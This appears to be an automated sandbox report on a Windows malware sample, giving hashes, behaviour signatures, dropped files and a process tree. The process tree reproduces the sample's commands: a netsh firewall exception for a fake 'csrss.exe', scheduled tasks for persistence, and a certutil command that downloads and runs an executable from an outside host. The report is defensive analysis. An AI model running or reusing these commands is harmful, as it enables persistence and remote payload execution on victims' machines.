Analysis
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max time kernel
17s -
max time network
138s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:53
General
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Target
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe
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Size
3.8MB
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MD5
f4ea83c7492a309a20f7e53a35d66d9a
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SHA1
5c4d300a6af9157128ab2419eb3b232bcdfe0a02
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SHA256
cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f
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SHA512
46cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6
Malware Config
Signatures
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Windows security bypass 2 TTPs
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Executes dropped EXE 2 IoCs
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Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
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Windows security modification 2 TTPs 12 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
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Modifies service 2 TTPs 5 IoCs
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 237 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
f4ea83c7492a309a20f7e53a35d66d9a
SHA15c4d300a6af9157128ab2419eb3b232bcdfe0a02
SHA256cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f
SHA51246cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
f4ea83c7492a309a20f7e53a35d66d9a
SHA15c4d300a6af9157128ab2419eb3b232bcdfe0a02
SHA256cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f
SHA51246cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6
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\Windows\rss\csrss.exeMD5
f4ea83c7492a309a20f7e53a35d66d9a
SHA15c4d300a6af9157128ab2419eb3b232bcdfe0a02
SHA256cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f
SHA51246cbfe80d2ca10fe6cea1eff9fc9e44128a73a508c5aed6019b578c2363d363a1b1f62b422ec2f4cdf279dc0dbdc9758f6ef46d0d4d4ab63702a4a5a4664e9b6
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memory/568-5-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/568-4-0x0000000001410000-0x0000000001421000-memory.dmpFilesize
68KB
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memory/568-3-0x0000000001060000-0x0000000001407000-memory.dmpFilesize
3.7MB
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memory/832-6-0x0000000000000000-mapping.dmp
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memory/1340-7-0x0000000000000000-mapping.dmp
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memory/1652-22-0x000007FEF7430000-0x000007FEF76AA000-memory.dmpFilesize
2.5MB
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memory/1780-10-0x0000000000000000-mapping.dmp
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memory/1780-12-0x00000000010B0000-0x0000000001457000-memory.dmpFilesize
3.7MB
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memory/1780-13-0x0000000001460000-0x0000000001471000-memory.dmpFilesize
68KB
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memory/1944-0-0x0000000000CD0000-0x0000000001077000-memory.dmpFilesize
3.7MB
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memory/1944-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1944-1-0x0000000001080000-0x0000000001091000-memory.dmpFilesize
68KB